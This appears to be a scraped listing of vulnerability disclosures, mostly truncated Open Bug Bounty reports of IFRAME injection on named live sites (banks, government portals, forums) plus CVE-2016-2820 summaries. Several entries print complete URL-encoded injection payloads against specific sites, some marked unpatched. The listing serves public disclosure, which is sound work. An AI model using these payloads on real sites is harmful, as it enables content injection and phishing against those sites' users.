AjaxExplorer 1.10.3.2 CSRF / XSS / Command Execution

Credits: hyp3rlinx + Website: hyp3rlinx.altervista.org + Source: http://hyp3rlinx.altervista.org/advisories/AJAXEXPLORER-REMOTE-CMD-EXECUTION.txt + ISR: apparitionsec Vendor: ========== sourceforge.net smsid download linx: sourceforge.net/projects/ajax-explorer/files/ Product:...

londonlife.com IFRAME Injection vulnerability

Vulnerable URL:...

www262.americanexpress.com IFRAME Injection vulnerability

Vulnerable URL: https://www262.americanexpress.com/dapply/web/uifieldcomponents/tncContainer.jsp?tncUrl=https://www.openbugbounty.org/ Details: Description| Value ---|--- Patched:| Yes, at 06.10.2016 Latest check for patch:| 06.10.2016 15:33 GMT Vulnerability type:| IFRAME Injection Vulnerability...

Firefox Access Modification

The vulnerability of the Firefox Health Reports FHR, about:healthreport browser extension is related to improper event source restrictions. Exploiting this vulnerability allows a remote attacker to modify general access settings by gaining access to the IFrame element...

webstat.banque-france.fr IFRAME Injection vulnerability

Vulnerable URL: http://webstat.banque-france.fr/fr/browse.do?node=%22%3E%3COBJECT%20TYPE=%22text/x-scriptlet%22%20%20DATA=%22https://www.openbugbounty.org/index.html%22%3E%3C/OBJECT%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| IFRAME...

photochallenge.societegenerale.com IFRAME Injection vulnerability

Vulnerable URL: http://photochallenge.societegenerale.com/tweet.php?playid=%22%3E%3Ccenter%3E%3Ciframe%20src=https://www.openbugbounty.org%20width=%221200%22%20height=%22900%22%3E%3C&x=0&y=0 Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| IFRAME Injection Vulnerability...

sergiobonelli.it IFRAME Injection vulnerability

Vulnerable URL:...

secure.myschooljobs.org IFRAME Injection vulnerability

Vulnerable URL: https://secure.myschooljobs.org/monroe1/jobapplicant.cfm?theMsg=%22%3E%22%3E%22%3E%3Ccenter%3E%3Ciframe%20src=https://www.openbugbounty.org%20width=%221200%22%20height=%22900%22%3E%3C=0=0 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017...

fj-n-tax.gov.cn IFRAME Injection vulnerability

Vulnerable URL: http://www.fj-n-tax.gov.cn/wssw/jsp/index/common/firstlogin.jsp?styleName=%22%3E%3Ccenter%3E%3Ciframe%20src=https://www.openbugbounty.org%20width=%221200%22%20height=%22900%22%3E%3C=0=0=fj Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| IFRAME Injection...

carteespeces.societegenerale.fr IFRAME Injection vulnerability

Vulnerable URL: https://www.carteespeces.societegenerale.fr/fr/identificationEntreprise?USER=%22%3E%3Ccenter%3E%3Ciframe%20src=https://www.openbugbounty.org%20width=%221200%22%20height=%22900%22%3E%3C=0=0 Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| IFRAME Injection...

forums.imore.com IFRAME Injection vulnerability

Vulnerable URL: http://forums.imore.com/ask/?do=ask=%22%3E%3Ch1%3Ea%3C/h1%3E%3Ciframe%20srcdoc=%22%3Cp%3EHello%20world!%3C/p%3E%22%20src=%22https://www.openbugbounty.org%22%3E%3C/iframe%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:|...

forums.androidcentral.com IFRAME Injection vulnerability

Vulnerable URL: http://forums.androidcentral.com/ask/?do=ask=%22%3E%3Ciframe%20srcdoc=%22%3Cp%3EHello%20world!%3C/p%3E%22%20src=%22https://www.openbugbounty.org%22%3E%3C/iframe%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| IFRAME...

forums.windowscentral.com IFRAME Injection vulnerability

Vulnerable URL: http://forums.windowscentral.com/ask/?do=ask=%22%3E%3Ch1%3Ea%3C/h1%3E%3Ciframe%20srcdoc=%22%3Cp%3EHello%20world!%3C/p%3E%22%20src=%22https://www.openbugbounty.org%22%3E%3C/iframe%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability...

unmig.sviluppoeconomico.gov.it IFRAME Injection vulnerability

Vulnerable URL: http://unmig.sviluppoeconomico.gov.it/dgsaie/ambiti/rqnome.asp?stringa=%3Ciframe%20src=https://www.openbugbounty.org%20%3C Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| IFRAME Injection Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / No...

embcms.mercedes-benz.fr IFRAME Injection vulnerability

Open Bug Bounty ID: OBB-150189 Description| Value ---|--- Affected Website:| embcms.mercedes-benz.fr Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1 CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N Remediation Guide:| OWASP XSS Prevention...

culturecommunication.gouv.fr IFRAME Injection vulnerability

Vulnerable URL: http://www.culturecommunication.gouv.fr/Ressources?q=%22%3E%3Ch1%3EXssed%3C/h1%3E%3Ciframe%20src=https://www.openbugbounty.org/report/%20%3C Details: Description| Value ---|--- Patched:| Yes, at 10.05.2016 Latest check for patch:| 10.05.2016 15:07 GMT Vulnerability type:| IFRAME...

CVE-2016-2820

The Firefox Health Reports aka FHR or about:healthreport feature in Mozilla Firefox before 46.0 does not properly restrict the origin of events, which makes it easier for remote attackers to modify sharing preferences by leveraging access to the remote-report IFRAME element...

CVE-2016-2820: Improper Access Control

The Firefox Health Reports aka FHR or about:healthreport feature in Mozilla Firefox before 46.0 does not properly restrict the origin of events, which makes it easier for remote attackers to modify sharing preferences by leveraging access to the remote-report IFRAME element...

UBUNTU-CVE-2016-2820

The Firefox Health Reports aka FHR or about:healthreport feature in Mozilla Firefox before 46.0 does not properly restrict the origin of events, which makes it easier for remote attackers to modify sharing preferences by leveraging access to the remote-report IFRAME element...

mbwin.net IFRAME Injection vulnerability

Vulnerable URL: http://www.mbwin.net/index.php?url=http://www.openbugbounty.org Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| IFRAME Injection Vulnerability status:| Publicly disclosed Alexa Rank| 16489204 VIP website status:| No Check...